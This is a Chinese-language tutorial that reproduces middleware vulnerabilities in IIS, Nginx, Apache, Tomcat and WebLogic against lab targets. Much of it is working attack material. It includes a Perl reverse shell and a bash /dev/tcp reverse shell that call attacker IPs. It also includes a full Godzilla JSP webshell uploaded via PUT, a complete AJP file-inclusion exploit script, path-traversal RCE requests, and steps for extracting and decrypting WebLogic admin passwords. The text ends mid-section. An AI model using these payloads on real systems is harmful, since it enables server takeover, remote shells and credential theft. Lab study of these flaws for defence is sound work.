中间件漏洞原理与复现大全【万字总结】

文章目录

IIS

HTTP.SYS远程代码执行漏洞(CVE-2015-1635)

  1. 漏洞描述

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分 析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户 的上下文中就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃

  1. 影响版本

Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

  1. 漏洞复现

判断漏洞是否存在,在kaili输入

curl -v 192.168.88.141 -H “192.168.88.141:81” -H “Range: bytes=0-18446744073709551615”

有发现返回”range is not satisfiable”就说明有漏洞了。

在kaili中输入以下代码即可

msfconsole

use auxiliary/dos/http/ms15_034_ulonglongadd

set rhosts xx.xx.xx.xx(ip)

set rport xx

run

攻击成功:windows7蓝屏,蓝屏后会自动重启

IIS短文件之目录扫描

1、概念

在DOS和早期的Windows系统中,文件名的长度被限制为8个字符加上一个点加上3个字符的扩展名,这种格式被称为8.3格式。在Windows下查看对应的短文件名,可以使用命令dir /x

例如

C:\Users\Administrator>dir /x
2024/07/11  14:49    <DIR>          DOCUME~1     Documents
2024/07/22  12:17    <DIR>          DOWNLO~1     Downloads
2024/06/16  03:50    <DIR>          FAVORI~1     Favorites
2024/07/18  13:15    <DIR>          IDEAPR~1     IdeaProjects

它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

3、应用场景:

后台路径获取,数据库文件获取,其他敏感文件获取等

4、漏洞利用:

https://github.com/lijiejie/IIS_shortname_Scanner

输入命令:python iis_shortname_scan.py http://192.168.88.141:81/即可

IIS文件解析漏洞

  1. IIS 6 解析漏洞
    1. 该版本会将*.asp;.jpg的格式当成asp解析

      1. logo.asp;.jpg
    2. 该版本会将*.asp/目录下的所有文件当成asp解析

      1. xx.asp/logo.jpg
  2. IIS 7 解析漏洞
    1. 该版本会将/xx.jpg/xx.php解析成php文件

IIS写权限漏洞

  1. 简介
    1. 通过写入权限来上传木马
  2. 条件
    1. 目录权限开启写入
    2. 开启webdev
  3. 漏洞复现
    1. 参考文章:题目2-IIS写权限漏洞分析溯源-腾讯云开发者社区-腾讯云 (tencent.com)

Nginx

Nginx 文件名逻辑漏洞

(CVE-2013-4547)

  1. 原理

    1. 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
  2. 条件

    1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  3. 复现

    1. 上传gif数据包,在文件名处加空格与添加执行代码即可

    2. 访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00

    3. 发包,执行成功

Nginx 解析漏洞

  1. 概念

    1. 由于 nginx.conf​ 配置将以 .php​ 结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似 http://ip/uploadfiles/test.png/.php​ 的 URL(其中 test.png​ 是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到 .php​ 文件时,php.ini​ 中的 cgi.fix_pathinfo=1​ 配置会将请求路径修复为上层路径,即 test.png​。如果 php-fpm.conf​ 中 security.limit_extensions​ 配置为空,FastCGI 将解析 .png​ 文件为 PHP 代码。为防止此类攻击,应限制 php-fpm​ 仅解析 .php​ 扩展名。
  2. 条件

    1. 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
    2. php-fpm.conf配置文件未设置成.php
  3. 复现

    1. 上传正常图片,捉包,最后面放入执行代码

    2. 得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可

Apache

Apache HTTPD 换行解析漏洞

(cve-2017-15715)

  1. 介绍

    1. Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A​将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
  2. 条件

    1. apache 2.4.0~2.4.29版本
    2. 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
  3. 复现

    1. 上传一个php木马,在更改后的名称加一个空格

    2. 转到16进制,将对应名称后面的20改为0a

    3. 连接时记得在后面添加上%0a即可

远程命令执行(CVE-2021-42013)

  1. 介绍

    1. Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
  2. 影响版本

    1. Apache 2.4.49 和 Apache 2.4.50
  3. 复现

    1. 靶场
      1. /vulhub/httpd/CVE-2021-42013
    2. 直接使用payloadcurl -v --data "echo;whoami" 'http://123.58.224.8:48581/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'​执行命令

    3. 反弹shell
      1. 通过邻角社区生成反弹shell的命令:

        1.    perl -e 'use Socket;="43.139.186.80";=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
          
      2. 监听5566端口nc -lvvp 5566

      3. 将其写入数据包的内容部分和url出插入/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh​,提交方式改为post提交

        1.    数据包内容
             POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
             Host: 123.58.224.8:48581
             User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
             Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
             Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
             Accept-Encoding: gzip, deflate
             DNT: 1
             Connection: close
             Upgrade-Insecure-Requests: 1
             Content-Type: application/x-www-form-urlencoded
             Content-Length: 214
          
             perl -e 'use Socket;="43.139.186.80";=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
          

目录穿越漏洞(cve_2021_41773)

  1. 介绍

    1. Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
  2. 影响版本

    1. Apache HTTP Server 2.4.49、2.4.50版本
  3. 复现

    1. 靶场
      1. vulfocus/apache-cve_2021_41773:latest
      2. 123.58.224.8:18210
    2. 首页

    3. 直接捉包,在url中添加/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd​成功查看

    4. 在url中添加/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh​地址和成功执行id命令

      1.    POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
           Host: 123.58.224.8:18210
           User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
           Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
           Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
           Accept-Encoding: gzip, deflate
           DNT: 1
           Connection: close
           Upgrade-Insecure-Requests: 1
           Content-Type: application/x-www-form-urlencoded
           Content-Length: 12
        
           echo;ls /tmp
        

tomcat

  1. 弱口令爆破getshell

    1. 介绍
      1. Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。可以通过弱口令登录后台,部署war包geshell
    2. 复现
      1. 靶场
        1. vulfocus/tomcat-pass-getshell:latest
        2. 123.58.224.8:25823 8080:2582
      2. 首先进入首页面

      3. 点击进入管理后台发现需要账号和密码

      4. 经过爆破发现存在弱口令tomcat/tomcat

      5. 发现存在文件上传点

      6. 通过哥斯拉生成test.jsp木马,并将其压缩为test.war,使用命令jar cvf test.war test.jsp

      7. 使用哥斯拉连接http://123.58.224.8:25823/test/test.jsp​,来连接成功

  2. 文件上传(CVE-2017-12615)

    1. 介绍
      1. 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
    2. 条件
      1. Apache Tomcat 7.0.0 – 7.0.81
      2. 开启put提交;默认情况下readonly是true,此时PUT和DELETE方法是被拒绝的,当readonly为false时,便会开启。
    3. 复现
      1. 靶场

        1. vulfocus tomcat 文件上传 (CVE-2017-12615)
        2. 123.58.224.8:38458 8080:38458
      2. 来到首页

      3. 直接捉包修改

        1.    PUT /1.jsp/ HTTP/1.1
             Host: 123.58.224.8:38458
             User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
             Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
             Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
             Accept-Encoding: gzip, deflate
             DNT: 1
             Connection: close
             Upgrade-Insecure-Requests: 1
             Content-Type: application/x-www-form-urlencoded
             Content-Length: 2617
          
             <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
             %>
          
      4. 用哥斯拉连接即可

  3. 文件读取包含(CVE-2020-1938)

    1. 介绍
      1. Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等。

        tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

    2. 影响版本
      1. ApacheTomcat6
        ApacheTomcat7<7.0.100
        ApacheTomcat8<8.5.51
        ApacheTomcat9<9.0.31
    3. 复现
      1. 靶场

        1. /vulhub/tomcat/CVE-2020-1938
      2. 首先扫描靶场是否开放8009

      3. 直接使用脚本即可实行任意文件读取python poc.py 192.168.155.147 -f WEB-INF/web.xml

        1.    #!/usr/bin/env python
             # CNVD-2020-10487  Tomcat-Ajp lfi
             # by ydhcui
             import struct
             import io
             import base64
          
          
             # Some references:
             # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
             def pack_string(s):
                 if s is None:
                     return struct.pack(">h", -1)
                 l = len(s)
                 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
          
          
             def unpack(stream, fmt):
                 size = struct.calcsize(fmt)
                 buf = stream.read(size)
                 return struct.unpack(fmt, buf)
          
          
             def unpack_string(stream):
                 size, = unpack(stream, ">h")
                 if size == -1:  # null string
                     return None
                 res, = unpack(stream, "%ds" % size)
                 stream.read(1)  # \0
                 return res
          
          
             class NotFoundException(Exception):
                 pass
          
          
             class AjpBodyRequest(object):
                 # server == web server, container == servlet
                 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
                 MAX_REQUEST_LENGTH = 8186
          
                 def __init__(self, data_stream, data_len, data_direction=None):
                     self.data_stream = data_stream
                     self.data_len = data_len
                     self.data_direction = data_direction
          
                 def serialize(self):
                     data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                     if len(data) == 0:
                         return struct.pack(">bbH", 0x12, 0x34, 0x00)
                     else:
                         res = struct.pack(">H", len(data))
                         res += data
                     if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                         header = struct.pack(">bbH", 0x12, 0x34, len(res))
                     else:
                         header = struct.pack(">bbH", 0x41, 0x42, len(res))
                     return header + res
          
                 def send_and_receive(self, socket, stream):
                     while True:
                         data = self.serialize()
                         socket.send(data)
                         r = AjpResponse.receive(stream)
                         while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                             r = AjpResponse.receive(stream)
          
                         if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                             break
          
          
             class AjpForwardRequest(object):
                 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
                     28)
                 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
                                    'TRACE': TRACE}
                 # server == web server, container == servlet
                 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
                 COMMON_HEADERS = ["SC_REQ_ACCEPT",
                                   "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
                                   "SC_REQ_AUTHORIZATION",
                                   "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
                                   "SC_REQ_COOKIE2",
                                   "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                                   ]
                 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
                               "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
          
                 def __init__(self, data_direction=None):
                     self.prefix_code = 0x02
                     self.method = None
                     self.protocol = None
                     self.req_uri = None
                     self.remote_addr = None
                     self.remote_host = None
                     self.server_name = None
                     self.server_port = None
                     self.is_ssl = None
                     self.num_headers = None
                     self.request_headers = None
                     self.attributes = None
                     self.data_direction = data_direction
          
                 def pack_headers(self):
                     self.num_headers = len(self.request_headers)
                     res = ""
                     res = struct.pack(">h", self.num_headers)
                     for h_name in self.request_headers:
                         if h_name.startswith("SC_REQ"):
                             code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                             res += struct.pack("BB", 0xA0, code)
                         else:
                             res += pack_string(h_name)
          
                         res += pack_string(self.request_headers[h_name])
                     return res
          
                 def pack_attributes(self):
                     res = b""
                     for attr in self.attributes:
                         a_name = attr['name']
                         code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                         res += struct.pack("b", code)
                         if a_name == "req_attribute":
                             aa_name, a_value = attr['value']
                             res += pack_string(aa_name)
                             res += pack_string(a_value)
                         else:
                             res += pack_string(attr['value'])
                     res += struct.pack("B", 0xFF)
                     return res
          
                 def serialize(self):
                     res = ""
                     res = struct.pack("bb", self.prefix_code, self.method)
                     res += pack_string(self.protocol)
                     res += pack_string(self.req_uri)
                     res += pack_string(self.remote_addr)
                     res += pack_string(self.remote_host)
                     res += pack_string(self.server_name)
                     res += struct.pack(">h", self.server_port)
                     res += struct.pack("?", self.is_ssl)
                     res += self.pack_headers()
                     res += self.pack_attributes()
                     if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                         header = struct.pack(">bbh", 0x12, 0x34, len(res))
                     else:
                         header = struct.pack(">bbh", 0x41, 0x42, len(res))
                     return header + res
          
                 def parse(self, raw_packet):
                     stream = io.StringIO(raw_packet)
                     self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                     self.prefix_code, self.method = unpack(stream, "bb")
                     self.protocol = unpack_string(stream)
                     self.req_uri = unpack_string(stream)
                     self.remote_addr = unpack_string(stream)
                     self.remote_host = unpack_string(stream)
                     self.server_name = unpack_string(stream)
                     self.server_port = unpack(stream, ">h")
                     self.is_ssl = unpack(stream, "?")
                     self.num_headers, = unpack(stream, ">H")
                     self.request_headers = {}
                     for i in range(self.num_headers):
                         code, = unpack(stream, ">H")
                         if code > 0xA000:
                             h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
                         else:
                             h_name = unpack(stream, "%ds" % code)
                             stream.read(1)  # \0
                         h_value = unpack_string(stream)
                         self.request_headers[h_name] = h_value
          
                 def send_and_receive(self, socket, stream, save_cookies=False):
                     res = []
                     i = socket.sendall(self.serialize())
                     if self.method == AjpForwardRequest.POST:
                         return res
          
                     r = AjpResponse.receive(stream)
                     assert r.prefix_code == AjpResponse.SEND_HEADERS
                     res.append(r)
                     if save_cookies and 'Set-Cookie' in r.response_headers:
                         self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
          
                     # read body chunks and end response packets
                     while True:
                         r = AjpResponse.receive(stream)
                         res.append(r)
                         if r.prefix_code == AjpResponse.END_RESPONSE:
                             break
                         elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                             continue
                         else:
                             raise NotImplementedError
                             break
          
                     return res
          
          
             class AjpResponse(object):
                 _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
                 COMMON_SEND_HEADERS = [
                     "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
                     "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
                 ]
          
                 def parse(self, stream):
                     # read headers
                     self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
          
                     if self.prefix_code == AjpResponse.SEND_HEADERS:
                         self.parse_send_headers(stream)
                     elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                         self.parse_send_body_chunk(stream)
                     elif self.prefix_code == AjpResponse.END_RESPONSE:
                         self.parse_end_response(stream)
                     elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
                         self.parse_get_body_chunk(stream)
                     else:
                         raise NotImplementedError
          
                 def parse_send_headers(self, stream):
                     self.http_status_code, = unpack(stream, ">H")
                     self.http_status_msg = unpack_string(stream)
                     self.num_headers, = unpack(stream, ">H")
                     self.response_headers = {}
                     for i in range(self.num_headers):
                         code, = unpack(stream, ">H")
                         if code <= 0xA000:  # custom header
                             h_name, = unpack(stream, "%ds" % code)
                             stream.read(1)  # \0
                             h_value = unpack_string(stream)
                         else:
                             h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
                             h_value = unpack_string(stream)
                         self.response_headers[h_name] = h_value
          
                 def parse_send_body_chunk(self, stream):
                     self.data_length, = unpack(stream, ">H")
                     self.data = stream.read(self.data_length + 1)
          
                 def parse_end_response(self, stream):
                     self.reuse, = unpack(stream, "b")
          
                 def parse_get_body_chunk(self, stream):
                     rlen, = unpack(stream, ">H")
                     return rlen
          
                 @staticmethod
                 def receive(stream):
                     r = AjpResponse()
                     r.parse(stream)
                     return r
          
          
             import socket
          
          
             def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
                 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
                 fr.method = method
                 fr.protocol = "HTTP/1.1"
                 fr.req_uri = req_uri
                 fr.remote_addr = target_host
                 fr.remote_host = None
                 fr.server_name = target_host
                 fr.server_port = 80
                 fr.request_headers = {
                     'SC_REQ_ACCEPT': 'text/html',
                     'SC_REQ_CONNECTION': 'keep-alive',
                     'SC_REQ_CONTENT_LENGTH': '0',
                     'SC_REQ_HOST': target_host,
                     'SC_REQ_USER_AGENT': 'Mozilla',
                     'Accept-Encoding': 'gzip, deflate, sdch',
                     'Accept-Language': 'en-US,en;q=0.5',
                     'Upgrade-Insecure-Requests': '1',
                     'Cache-Control': 'max-age=0'
                 }
                 fr.is_ssl = False
                 fr.attributes = []
                 return fr
          
          
             class Tomcat(object):
                 def __init__(self, target_host, target_port):
                     self.target_host = target_host
                     self.target_port = target_port
          
                     self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                     self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                     self.socket.connect((target_host, target_port))
                     self.stream = self.socket.makefile("rb", buffering=0)
          
                 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
                     self.req_uri = req_uri
                     self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                                        method=AjpForwardRequest.REQUEST_METHODS.get(method))
                     print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
                     if user is not None and password is not None:
                         self.forward_request.request_headers[
                             'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
                     for h in headers:
                         self.forward_request.request_headers[h] = headers[h]
                     for a in attributes:
                         self.forward_request.attributes.append(a)
                     responses = self.forward_request.send_and_receive(self.socket, self.stream)
                     if len(responses) == 0:
                         return None, None
                     snd_hdrs_res = responses[0]
                     data_res = responses[1:-1]
                     if len(data_res) == 0:
                         print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
                     return snd_hdrs_res, data_res
          
          
             '''
             javax.servlet.include.request_uri
             javax.servlet.include.path_info
             javax.servlet.include.servlet_path
             '''
          
             import argparse
          
             parser = argparse.ArgumentParser()
             parser.add_argument("target", type=str, help="Hostname or IP to attack")
             parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
             parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
             parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
             args = parser.parse_args()
             t = Tomcat(args.target, args.port)
             _, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
                 {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
                 {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
                 {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
             ])
             print('----------------------------')
             print(''.join([d.data.decode('utf_8') for d in data]))
          
          
        2. 成功读取web.xml文件,默认读取webapps文件夹下ROOT的文件,而不是WEB-INF,所以需要加上路径WEB-INF/web.xml,如下

          1. 进入容器docker exec -it 07fa16440c00 /bin/bash

            1. 只能读取ROOT/WEN-INF​目录下的文件
        3. 例如,现在往里面写入文件1.txt,利用exp来进行读取

      4. 假设有个木马可以上传到此,我们就可以利用这个exp来进行远程包含编译

        1. 上传此文件echo '<%= "Hello"%>' > cong.txt

        2. 可以看到cong.txt直接编译输出了

        3. 日志分析

          1. 使用EXP通过AJP协议读取,远程代码执行(RCE)为/hissec,状态码200为成功。

Weblogic

  1. 未授权访问

    1. 未授权远程命令执行漏洞CVE-2020-14882
      1. 介绍
        1. 未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
      2. 复现
        1. 靶场

          1. vulfocus/weblogic-cve_2020_14883

          2. 123.58.224.8:17703

            123.58.224.8:30853

          3. : 5556:177037001:30853 重启靶场:5556:13402 7001:9187

        2. 直接访问一下urlhttp://123.58.224.8:30853/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

          1. 虽然返回404,但是成功执行命令,这个是利用com.tangosol.coherence.mvel2.sh.ShellSession来执行命令
          2. 这个payload只能在Weblogic 12.2.1以上版本利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession这个类
        3. 在服务器部署这个xml文件,让目标服务器能够访问来反弹shell

          1.    test.xml
               <?xml version="1.0" encoding="UTF-8" ?>
               <beans xmlns="http://www.springframework.org/schema/beans"
                  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
                   <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
                       <constructor-arg>
                         <list>
                           <value>bash</value>
                           <value>-c</value>
                           <value><![CDATA[bash -i >& /dev/tcp/47.96.64.184/5566 0>&1]]></value>
                         </list>
                       </constructor-arg>
                   </bean>
               </beans>
            
        4. 攻击者监听nc -lvvp 5566

        5. 发送触发监听载荷

          1. http://123.58.224.8:9187/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://43.139.186.80/test.xml")
  2. 任意文件上传漏洞/CVE-2018-2894

    1. 介绍
      1. CVE-2018-2894的原理涉及WebLogic Server的WLS Web Services组件中的一个设计缺陷。该漏洞允许攻击者通过特殊构造的HTTP请求绕过服务器的安全检查,直接访问并操作用于上传测试页面的功能。攻击者可以利用这个未经授权的访问,将恶意文件(如JSP webshell)上传到服务器的任意位置,包括可执行目录。由于服务器对上传的文件类型和位置缺乏有效限制,攻击者可以上传并执行恶意代码,从而获得对服务器的远程控制权。这个漏洞的核心在于权限控制不当和文件上传机制的不安全实现,使得攻击者能够绕过认证直接进行危险操作。
    2. 危害
      1. 可以上传任意jsp文件,进而获取服务器权限。
    3. 影响版本
      1. Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。
    4. 复现
      1. 靶场:

        1. vulhub vulfocus/weblogic-cve_2018_2894:latest
      2. 复现

        1. 直接使用工具即可
  3. 任意文件读取

    1. 介绍
      1. 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
    2. 影响版本
      1. Weblogic版本:10.3.6(11g)
      2. Java版本:1.6
    3. 复现
      1. 靶场

        1. weak_password-weblogic-1
        2. 5557->5556/tcp,7002->7001/tcp
      2. 访问控制台页面http://192.168.155.147:7002/console​可以进行弱口令爆破

      3. 直接访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd​任意文件可成功读取/etc/passwd​文件

      4. 直接读取./security/SerializedSystemIni.dat​和./config/config.xml​这两个二进制文件,用bp捉包读取

        1. SerializedSystemIni.dat​是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

        2. config.xml​是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>​的值,即为加密后的管理员密码,不要找错了:

      5. 破解密码

        1. 工具:Decrypt_Weblogic_Password/Tools5-weblogic_decrypt/weblogic_decrypt.jar at master · TideSec/Decrypt_Weblogic_Password (github.com)

        2. 一模一样的字符,反正我是解密不出来,感觉和java版本有关

        3. 登录一开始的控制台

        4. 上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war​这个压缩包中,再上传。上传成功后点下一步。

        5. 继续一直下一步,最后点完成。

          应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello​这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/test​)

  4. 配合SSRF漏洞

    1. 介绍
